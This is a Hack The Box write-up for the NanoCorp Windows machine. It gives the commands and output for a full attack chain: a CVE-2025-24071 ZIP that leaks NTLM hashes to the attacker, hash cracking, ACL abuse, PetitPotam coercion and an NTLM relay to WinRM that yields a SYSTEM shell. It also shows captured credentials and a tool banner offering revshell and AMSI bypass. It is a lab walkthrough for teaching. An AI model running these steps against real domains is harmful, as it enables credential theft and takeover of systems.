Hackthebox: NanoCorp

Foued SAIDI Lv5

Overview

NanoCorp is a hard-difficulty Windows machine from Hack The Box built entirely around Active Directory abuse and NTLM relaying. It starts off with a careers portal that accepts RAR/ZIP archive uploads, which we abuse through CVE-2025-24071 to smuggle a malicious .library-ms file inside a ZIP and coerce an NTLM hash leak. With Responder listening, the box authenticates back to us and we capture the web_svc NetNTLMv2 hash, which cracks against rockyou. From there we fix the Kerberos clock skew, abuse a chain of ACLs with bloodyAD (adding ourselves into IT_SUPPORT to inherit a ForceChangePassword over monitoring_svc), and log in over WinRM-HTTPS to grab the user flag. For root, we register a crafted DNS record with krbrelayx‘s dnstool, coerce the Domain Controller into authenticating to us via PetitPotam, and relay that authentication straight to winrms:// on the DC with ntlmrelayx, landing an interactive shell as NT AUTHORITY\SYSTEM.

NanoCorp-info-card
NanoCorp-info-card

Reconnaissance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
PORT     STATE SERVICE           VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
|_http-title: Did not follow redirect to http://nanocorp.htb/
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-11-09 12:05:55Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: nanocorp.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ldapssl?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: nanocorp.htb0., Site: Default-First-Site-Name)
3269/tcp open globalcatLDAPssl?
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC01.nanocorp.htb
| Not valid before: 2025-10-20T01:58:09
|_Not valid after: 2026-04-21T01:58:09
|_ssl-date: 2025-11-09T12:07:22+00:00; +7h00m01s from scanner time.
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
| tls-alpn:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.nanocorp.htb
| Subject Alternative Name: DNS:dc01.nanocorp.htb
| Not valid before: 2025-04-06T22:58:43
|_Not valid after: 2026-04-06T23:18:43
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016
Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Hosts: nanocorp.htb, DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 7h00m00s, deviation: 0s, median: 7h00m00s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-11-09T12:06:42
|_ start_date: N/A

TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 306.59 ms 10.10.16.1
2 539.84 ms 10.129.129.217


The scan paints a very familiar picture: this is a Domain Controller for the nanocorp.htb domain (DC01). We have the full Active Directory port set (53, 88, 135, 139, 389, 445, 464, 593, 636, 3268, 3269), RDP on 3389, and an Apache/PHP web server on 80. The one port that immediately stands out is 5986 (WinRM over HTTPS) — a clean remote-management path we’ll be coming back to later. One thing worth noting early is the 7h00m00s clock skew between us and the DC; that will break Kerberos unless we correct it before authenticating.

Let’s add the hostnames to our /etc/hosts and start with the web server.

Web Application - http://nanocorp.htb

Browsing the site lands us on the NanoCorp corporate page. The interesting bit is the careers section — clicking on Apply Now redirects us to a dedicated hiring subdomain:

click on apply now and get ridirected to http://hire.nanocorp.htb/

The hiring portal exposes a file-upload feature meant for candidates to submit their CVs, and crucially it accepts archive files (RAR/ZIP) rather than plain documents. An upload endpoint that extracts attacker-controlled archives server-side is a textbook setup for CVE-2025-24071.

Initial Foothold - CVE-2025-24071 NTLM Hash Leak

CVE-2025-24071 abuses the way Windows Explorer auto-parses .library-ms files. By embedding a .library-ms whose <simpleLocation> points at a UNC path (\\attacker-ip\share) inside a ZIP/RAR archive, simply having that archive extracted/indexed forces the host to reach out over SMB to our machine — leaking the NetNTLMv2 hash of whatever account performs the extraction. There’s a clean public PoC that generates the malicious archive for us:

0x6rss/CVE-2025-24071_PoC: CVE-2025-24071: NTLM Hash Leak via RAR/ZIP Extraction and .library-ms File

We generate the ZIP with our attacker IP baked into the .library-ms, fire up Responder to catch the inbound authentication, and submit the archive through the careers portal:

upload the created zip with our attacker ip to the careers portal and launch responder

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
$ sudo responder -I tun0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|

NBT-NS, LLMNR & MDNS Responder 3.1.6.0

To support this project:
Github -> https://github.com/sponsors/lgandx
Paypal -> https://paypal.me/PythonResponder

Author: Laurent Gaffie ([email protected])
To kill this script hit CTRL-C


[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
MDNS [ON]
DNS [ON]
DHCP [OFF]

[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
MQTT server [ON]
RDP server [ON]
DCE-RPC server [ON]
WinRM server [ON]
SNMP server [ON]

[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]

[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Force ESS downgrade [OFF]

[+] Generic Options:
Responder NIC [tun0]
Responder IP [10.10.16.13]
Responder IPv6 [dead:beef:4::100b]
Challenge set [random]
Don't Respond To Names ['ISATAP', 'ISATAP.LOCAL']
Don't Respond To MDNS TLD ['_DOSVC']
TTL for poisoned response [default]

[+] Current Session Variables:
Responder Machine Name [WIN-VADUYRB60F0]
Responder Domain Name [BMXA.LOCAL]
Responder DCE-RPC Port [49533]

[+] Listening for events...

[SMB] NTLMv2-SSP Client : 10.129.129.217
[SMB] NTLMv2-SSP Username : NANOCORP\web_svc
[SMB] NTLMv2-SSP Hash : web_svc::NANOCORP:c15579ccdd08880f:06385BEDDA7FA8C5D894AB0A30489259:010100000000000000F3086D0D51DC012B45944852B00347000000000200080042004D005800410001001E00570049004E002D005600410044005500590052004200360030004600300004003400570049004E002D00560041004400550059005200420036003000460030002E0042004D00580041002E004C004F00430041004C000300140042004D00580041002E004C004F00430041004C000500140042004D00580041002E004C004F00430041004C000700080000F3086D0D51DC0106000400020000000800300030000000000000000000000000200000D2A225C81976D4C1622E92CBF7FD49BB56191F2FD2CD9AB1AFFEC7A1F1DF34EE0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E00310033000000000000000000
[*] Skipping previously captured hash for NANOCORP\web_svc

Within a few seconds the box reaches back out to our SMB server and Responder captures a NetNTLMv2 hash for the service account NANOCORP\web_svc.

Cracking the NetNTLMv2 Hash

NetNTLMv2 isn’t pass-the-hash material, but it’s perfectly crackable offline. We drop the captured hash into a file and let john chew through rockyou:

1
2
3
4
5
6
7
8
9
10
$john -w:/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
dksehdgh712!@# (web_svc)
1g 0:00:00:00 DONE (2025-11-09 00:13) 1.020g/s 1893Kp/s 1893Kc/s 1893KC/s dobson5499..djcward
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

It falls almost instantly, giving us our first set of valid domain credentials:

web_svc:dksehdgh712!@#

NanoCorp-web_svc-creds
NanoCorp-web_svc-creds

Privilege Escalation to monitoring_svc

With a foothold account in hand, the usual next step is to run it through BloodHound and map out where web_svc can go. The collected data reveals a small ACL chain: web_svc is able to add members to the IT_SUPPORT group, and IT_SUPPORT in turn holds ForceChangePassword rights over the monitoring_svc account. That’s a clean two-hop privilege path — add ourselves to the group, inherit the group’s rights, and reset the target’s password.

Before we can touch Kerberos-backed tooling, though, we need to deal with that 7-hour clock skew from the recon phase. Kerberos rejects tickets whose timestamp drifts too far from the KDC, so every command here is prefixed with an ntpdate against the DC to step our clock into sync first.

Adding web_svc to IT_SUPPORT

We use bloodyAD with Kerberos auth (-k) to add web_svc into the IT_SUPPORT group:

1
2
3
4
5
6
$ sudo ntpdate nanocorp.htb;bloodyAD --host dc01.nanocorp.htb -d nanocorp.htb -u 'web_svc' -p 'dksehdgh712!@#' -k add groupMember IT_SUPPORT web_svc
[sudo] password for kali:
2025-11-09 07:29:29.239719 (-0500) +25199.195952 +/- 0.181110 nanocorp.htb 10.129.129.217 s1 no-leap
CLOCK: time stepped by 25199.195952
[+] web_svc added to IT_SUPPORT

Resetting the monitoring_svc Password

Now that web_svc is a member of IT_SUPPORT, it inherits the group’s ForceChangePassword over monitoring_svc. We use that to set a password of our choosing on the account:

1
2
3
4
5
$ sudo ntpdate dc01.nanocorp.htb;bloodyAD --host dc01.nanocorp.htb -d nanocorp.htb -u 'web_svc' -p 'dksehdgh712!@#' -k set password monitoring_svc 'kujenPassword123'
[sudo] password for kali:
2025-11-09 07:31:47.626069 (-0500) +25199.206299 +/- 0.134115 dc01.nanocorp.htb 10.129.129.217 s1 no-leap
CLOCK: time stepped by 25199.206299
[+] Password changed successfully!

We now control monitoring_svc:kujenPassword123.

WinRM over HTTPS (5986) - User Flag

Remember port 5986 from the scan? monitoring_svc has remote-management rights, so we can authenticate to the WinRM-HTTPS endpoint with Kerberos. Using evil_winrmexec.py with -ssl -port 5986 and -k, we request a TGT/TGS for the WSMAN service and land a shell on the DC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
$ sudo ntpdate dc01.nanocorp.htb;python3 evil_winrmexec.py -ssl -port 5986 NANOCORP.HTB/monitoring_svc:'kujenPassword123'@dc01.nanocorp.htb -k
2025-11-09 07:33:07.557876 (-0500) +25199.171122 +/- 0.170855 dc01.nanocorp.htb 10.129.129.217 s1 no-leap
CLOCK: time stepped by 25199.171122
[*] '-target_ip' not specified, using dc01.nanocorp.htb
[*] '-url' not specified, using https://dc01.nanocorp.htb:5986/wsman
[*] '-spn' not specified, using HTTP/[email protected]
[*] '-dc-ip' not specified, using NANOCORP.HTB
[*] requesting TGT for NANOCORP.HTB\monitoring_svc
[*] requesting TGS for HTTP/[email protected]

Ctrl+D to exit, Ctrl+C will try to interrupt the running pipeline gracefully
This is not an interactive shell! If you need to run programs that expect
inputs from stdin, or exploits that spawn cmd.exe, etc., pop a !revshell

Special !bangs:
!download RPATH [LPATH] # downloads a file or directory (as a zip file); use 'PATH'
# if it contains whitespace

!upload [-xor] LPATH [RPATH] # uploads a file; use 'PATH' if it contains whitespace, though use iwr
# if you can reach your ip from the box, because this can be slow;
# use -xor only in conjunction with !psrun/!netrun

!amsi # amsi bypass, run this right after you get a prompt

!psrun [-xor] URL # run .ps1 script from url; uses ScriptBlock smuggling, so no !amsi patching is
# needed unless that script tries to load a .NET assembly; if you can't reach
# your ip, !upload with -xor first, then !psrun -xor 'c:\foo\bar.ps1' (needs absolute path)

!netrun [-xor] URL [ARG] [ARG] # run .NET assembly from url, use 'ARG' if it contains whitespace;
# !amsi first if you're getting '...program with an incorrect format' errors;
# if you can't reach your ip, !upload with -xor first then !netrun -xor 'c:\foo\bar.exe' (needs absolute path)

!revshell IP PORT # pop a revshell at IP:PORT with stdin/out/err redirected through a socket; if you can't reach your ip and you
# you need to run an executable that expects input, try:
# PS> Set-Content -Encoding ASCII 'stdin.txt' "line1`nline2`nline3"
# PS> Start-Process some.exe -RedirectStandardInput 'stdin.txt' -RedirectStandardOutput 'stdout.txt'

!log # start logging output to winrmexec_[timestamp]_stdout.log
!stoplog # stop logging output to winrmexec_[timestamp]_stdout.log

PS C:\Users\monitoring_svc\Documents> cd ../desktop
PS C:\Users\monitoring_svc\desktop> cat user.txt

And that’s the user flag in the bag.

Privilege Escalation to SYSTEM - Coerce + NTLM Relay to WinRM

monitoring_svc doesn’t have a direct path to Administrator, so for root we pivot back to a classic NTLM relay. The plan is to make the Domain Controller’s machine account authenticate to us, then relay that authentication to the DC’s own WinRM-HTTPS service (winrms://) — which ntlmrelayx now supports natively. Because the DC’s DC01$ account is local admin on itself, a successful relay yields a SYSTEM-level shell.

Creating a DNS Record for the Relay Listener

WinRM relaying requires the coerced authentication to arrive at a target name our listener can claim. We use krbrelayx‘s dnstool (authenticating as web_svc, which can write DNS records to the AD-integrated zone) to add an A record pointing at our attacker IP. The odd-looking localhost1UWhRCAA... name is a marshalled/encoded record that resolves back to us while satisfying the naming the coercion listener expects:

1
2
3
4
5
6
7
$ dnstool -u 'nanocorp.htb\WEB_SVC' -p 'dksehdgh712!@#' nanocorp.htb -dc-ip 10.129.129.217 -dns-ip 10.129.129.217 -a add -d 10.10.16.13 -r 'localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA'
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

Coercing the DC with PetitPotam

With the record in place and our relay ready (next step), we coerce the DC. netexec‘s coerce_plus module fires the PetitPotam (EfsRpcAddUsersToFile) trigger, telling the DC to authenticate out to our crafted listener name:

1
2
3
4
5
6
$ nxc smb nanocorp.htb -u WEB_SVC -p 'dksehdgh712!@#' -M coerce_plus -o METHOD=Petitpotam LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
SMB 10.129.129.217 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:nanocorp.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.129.217 445 DC01 [+] nanocorp.htb\WEB_SVC:dksehdgh712!@#
COERCE_PLUS 10.129.129.217 445 DC01 VULNERABLE, PetitPotam
COERCE_PLUS 10.129.129.217 445 DC01 Exploit Success, efsrpc\EfsRpcAddUsersToFile

Relaying to winrms:// for a SYSTEM Shell

On the receiving end we run ntlmrelayx targeting winrms://10.129.129.217, relaying the coerced SMB authentication to the DC’s WinRM-HTTPS service. The -i flag spins up an interactive shell we can connect to locally once the relay succeeds:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
$ ntlmrelayx.py -smb2support -t winrms://10.129.129.217 -i -debug
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies

[+] Impacket Library Installation Path: /home/kali/.local/share/pipx/venvs/impacket/lib/python3.13/site-packages/impacket
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client WINRMS loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client DCSYNC loaded..
[+] Protocol Attack IMAP loaded..
[+] Protocol Attack IMAPS loaded..
[+] Protocol Attack DCSYNC loaded..
[+] Protocol Attack HTTP loaded..
[+] Protocol Attack HTTPS loaded..
[+] Protocol Attack SMB loaded..
[+] Protocol Attack LDAP loaded..
[+] Protocol Attack LDAPS loaded..
[+] Protocol Attack RPC loaded..
[+] Protocol Attack WINRMS loaded..
[+] Protocol Attack MSSQL loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Setting up WinRM (HTTP) Server on port 5985
[*] Setting up WinRMS (HTTPS) Server on port 5986
[*] Setting up RPC Server on port 135
[*] Multirelay disabled

[*] Servers started, waiting for connections
[*] (SMB): Received connection from 10.129.129.217, attacking target winrms://10.129.129.217
[!] The client requested signing, relaying to WinRMS might not work!
[*] HTTP server returned error code 500, this is expected, treating as a successful login
[*] (SMB): Authenticating connection from /@10.129.129.217 against winrms://10.129.129.217 SUCCEED [1]
[*] winrms:///@10.129.129.217 [1] -> Started interactive WinRMS shell via TCP on 127.0.0.1:11000
[*] All targets processed!
[*] (SMB): Connection from 10.129.129.217 controlled, but there are no more targets left!

The relay succeeds and ntlmrelayx exposes an interactive WinRMS shell locally on 127.0.0.1:11000. We connect to it with netcat and confirm we’re running as NT AUTHORITY\SYSTEM, then read the root flag:

1
2
3
4
5
6
7
8
9
10
11
$ nc 127.0.0.1 11000
Type help for list of commands

# whoami
nt authority\system

# type C:\Users\Administrator\desktop\root.txt
85885c8c5f5c947a49bf3092a0fb1300

#

And that’s NanoCorp fully rooted.

Hope you liked this writeup!
-0xkujen

  • Title: Hackthebox: NanoCorp
  • Author: Foued SAIDI
  • Created at : 2026-06-22 21:24:38
  • Updated at : 2026-06-23 17:57:52
  • Link: https://kujen5.github.io/2026/06/22/Hackthebox-NanoCorp/
  • License: This work is licensed under CC BY-NC-SA 4.0.